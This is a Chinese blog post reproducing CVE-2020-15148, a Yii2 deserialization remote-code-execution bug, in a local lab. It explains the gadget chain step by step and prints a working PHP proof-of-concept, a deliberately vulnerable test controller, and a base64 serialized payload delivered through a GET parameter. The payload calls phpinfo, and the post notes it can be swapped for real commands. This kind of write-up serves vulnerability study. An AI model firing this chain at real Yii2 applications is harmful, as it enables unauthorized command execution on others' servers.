CVE-2020-15148--Yii2 反序列化漏洞复现

目录

简介:

环境部署:

知识点:

分析:

复现:

参考链接:

其他问题:


简介:

Yii Framework是一个基于组件、用于开发大型Web应用的高性能 PHP 框架。Yii提供了今日Web 2.0应用开发所需要的几乎一切功能。Yii是最有效率的PHP框架之一。

Yii2 2.0.38 之前的版本存在反序列化漏洞,程序在调用unserialize 时,攻击者可通过构造特定的恶意请求执行任意命令。

环境部署:

下载地址:

https://github.com/yiisoft/yii2/releases/tag/2.0.37

下载这个yii-basic-app-2.0.37.tgz 

 修改/config/web.php文件17行cookieValidationKey,值可以为任何

进入目录(我的是放在了phpstudy的www目录下),执行 php yii serve

进入 http://localhost:8080/ 

知识点:

namespace:

PHP: 命名空间概述 - Manual

​​​​​​php中命名空间(namespace)的作用和使用_古语静水流深-CSDN博客​​​​​​

PHP命名空间(Namespace)的使用详解 - 酷越 - 博客园

call_user_func_array()

Yii2.0 路由(Route)的实现原理  [ 2.0 版本 ]

所谓路由是指URL中用于标识用于处理用户请求的module, controller, action的部分,一般情况下由 r 查询参数来指定。
如 http://www.digpage.com/index.php?r=post/view&id=100 ,表示这个请求将由PostController 的 actionView来处理。(主要首字母要大写)

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct():当对象被销毁时会自动调用。

__call():是在对象上下文中调用不可访问的方法时触发

 

分析:

使用的poc:

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;
 
        public function __construct(){
            $this->checkAccess = 'phpinfo';
            $this->id = '1';
        }
    }
}
 
namespace Faker{
    use yii\rest\CreateAction;
 
    class Generator{
        protected $formatters;
 
        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}
 
namespace yii\db{
    use Faker\Generator;
 
    class BatchQueryResult{
        private $_dataReader;
 
        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}

namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}

我们从poc代码开始入手:

这里使用其他师傅一张图:

 第一步:new了一个yii\db\BatchQueryResult()类,那么就会调用这个类的__construct()方法

第二步:这个类的__construct()方法会new一个Faker\Generator()类,就又会调用Faker\Generator()类的__construct()方法,并把这个对象赋值给$_dataReader变量。

第三步:Faker\Generator()类的__construct()方法会new一个yii\rest\CreateAction()类,然后又调用yii\rest\CreateAction()类的__coustrcut()方法。并调用了run方法(这里用了 call_user_func_array后面会讲到),然后赋值给$this->formatters['close']。

第四步:反序列化时,类中变量的值我们是可控的;那么就可以通过yii\rest\CreateAction()类的__construct()方法中修改这些变量,将这些值改成命令,成功RCE。

思路有了,我们就看仔细看看源文件中的这些类:

yii\db\BatchQueryResult():

文件在:

vendor/yiisoft/yii2/db/BatchQueryResult.php:

在poc中

echo base64_encode(serialize(new yii\db\BatchQueryResult));

这句话执行完之后,会先调用yii\db\BatchQueryResult()类的__destruct()方法,这个方法会执行reset方法,因为前面我们讲$this->dataReader设置为了Faker\Generator()对象,

$this->_dataReader = new Generator;

所以就会进入if语句,执行Gnerator的close方法,因为没有这个方法所以会调用他的__call()方法。

Gnerator类

文件在:

vendor/fzaninotto/faker/src/Faker/Generator.php

 因为close是无参方法,所以__call中的$method是close,attributes为空,然后传参给format方法

继续跟进format方法。

这里因为传参,所以$formatter='close',$arguments=空

format方法中使用了call_user_func_array(),使用的方法为getFormatters('close')的返回值,参数在$arguments=空

继续跟进getFormatter(‘close’)方法,这个方法中if语句中的$formatters['close'],我们发现:

$formatters['close']是可控的,也就是说getFormatter方法的返回值是可控的。也就是说call_user_func_array这个函数的第一个参数可控,第二个参数为空;所以相当于我们现在能干两件事,1、调用yii2中任意的一个无参方法。2、调用原生php的类似phpinfo()这样的无参方法,但是第二种肯定不能RCE,因此还要在yii2中已有的无参方法中进行挖掘:

function \w+\(\)

 但是无参方法很多,这样不好找;

搜索含有call_user_function的无参函数:

function \w*\(\)\n? *\{(.*\n)+ *call_user_func

在大括号前需要有空格的,然后换行符\n 之后也需要空格的,加上这两块就能够找到了

 最后找到rest/CreateAction.php以及rest/IndexAction.php

这里分析CreatAction.php

那么poc中的下一步代入了一个无参数的方法去RCE。在前面的poc中说了formatters被赋值为:

 $this->formatters['close'] = [new CreateAction(), 'run'];

CreateAction类

文件在:

vendor/yiisoft/yii2/rest/CreatAction.php

 CreatAction()方法中的$this->checkAccess,$this->id我们都是可控的,那么就可以执行RCE了

复现:

复现的第一步,先自己添加一个反序列化的入口,在controllers目录下新建一个存在反序列化点的TestController.php

<?php
namespace app\controllers;
 
class TestController extends \yii\web\Controller
{
	public function actionTest($data){
		return unserialize(base64_decode($data));
	}
}
 
?>

然后使用poc输出需要的字符串:

TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

get传参(使用的知识是路由):

?r=test/test&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6NzoicGhwaW5mbyI7czoyOiJpZCI7czoxOiIxIjt9aToxO3M6MzoicnVuIjt9fX19

成功RCE。 

参考链接:

CVE-2020-15148 Yii2反序列化RCE分析与复现 - FreeBuf网络安全行业门户

yii2框架 反序列化漏洞复现_feng的博客-CSDN博客_yii框架漏洞

其他问题:

 

 当闭合的时候如果在?>后面还有两行以上如42、43,或者在40行到?>直接还有代码时,执行时会报错。

 解决方法:

1:不使用?>结束闭合

 2:闭合后不要增加行数。

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值